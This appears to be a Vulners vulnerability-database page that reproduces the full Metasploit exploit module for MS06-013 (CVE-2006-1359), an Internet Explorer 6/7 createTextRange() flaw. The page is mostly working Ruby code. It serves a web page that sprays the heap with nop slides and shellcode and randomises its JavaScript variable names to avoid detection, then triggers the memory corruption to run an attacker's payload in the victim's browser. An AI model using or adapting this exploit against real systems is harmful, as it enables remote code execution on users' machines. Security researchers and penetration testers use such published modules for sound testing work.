Vulners
Lucene search
MS06-013 Microsoft Internet Explorer createTextRange() Code Execution
🗓️ 19 Oct 2008 21:03:39Reported by Faithless <[email protected]>, Darkeagle <unl0ck.net>, hdm <[email protected]>, justfriends4n0w <[email protected]>, UnknownType 
metasploit🔗 www.rapid7.com👁 58 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution',
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Faithless <rhyskidd[at]gmail.com>',
'Darkeagle <unl0ck.net>',
'hdm',
'<justfriends4n0w[at]yahoo.com>',
'Unknown',
],
'References' =>
[
['CVE', '2006-1359'],
['OSVDB', '24050'],
['MSB', 'MS06-013'],
['BID', '17196'],
['US-CERT-VU', '876678'],
['URL', 'http://web.archive.org/web/20060418044756/http://secunia.com:80/secunia_research/2006-7/advisory/'],
['URL', 'https://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
['URL', 'https://seclists.org/lists/fulldisclosure/2006/Mar/1439.html']
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2006-03-19'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Generate a random XML namespace for VML
xmlns = rand_text_alpha(rand(30)+2)
# Randomize the javascript variable names
rnd = rand(3)
var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
var_inp = "_"+rand_text_alpha(rand(6)+3)
var_tmp = "_"+rand_text_alpha(rand(6)+3)
var_payload = "_"+rand_text_alpha(rand(6)+3)
var_nopslide = "_"+rand_text_alpha(rand(6)+3)
var_slidesize = "_"+rand_text_alpha(rand(6)+3)
var_fillblock = "_"+rand_text_alpha(rand(6)+3)
var_memblock = "_"+rand_text_alpha(rand(6)+3)
var_heap = "_"+rand_text_alpha(rand(6)+3)
var_index = "_"+rand_text_alpha(rand(6)+3)
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
var_start = "_"+rand_text_alpha(rand(6)+3)
var_timer = "_"+rand_text_alpha(rand(6)+3)
rnd = rand(2)
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
randnop = rand_text_alpha(rand(100) + 1)
# Build out the message
content = %Q|<html>
<head>
<script language = "javascript">
var #{var_payload} = unescape("#{shellcode}");
var #{randnop} = "#{nops}";
var #{var_nopslide} = unescape(#{randnop});
var #{var_slidesize} = 20+#{var_payload}.length;
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
var #{var_heap} = new Array();
var #{var_index} = 0;
var #{var_maxIndex} = 2020;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload});
#{var_index}++;
#{var_setTimeout}
} else {
#{var_timer}.innerHTML = 100;
#{var_inp} = document.createElement("input");
#{var_inp}.type = "#{var_inputtype}";
#{var_tmp} = #{var_inp}.createTextRange();
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|
content = Rex::Text.randomize_space(content)
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Mar 2023 10:43Current
7.7High risk
Vulners AI Score7.7
CVSS 29.3
EPSS0.68068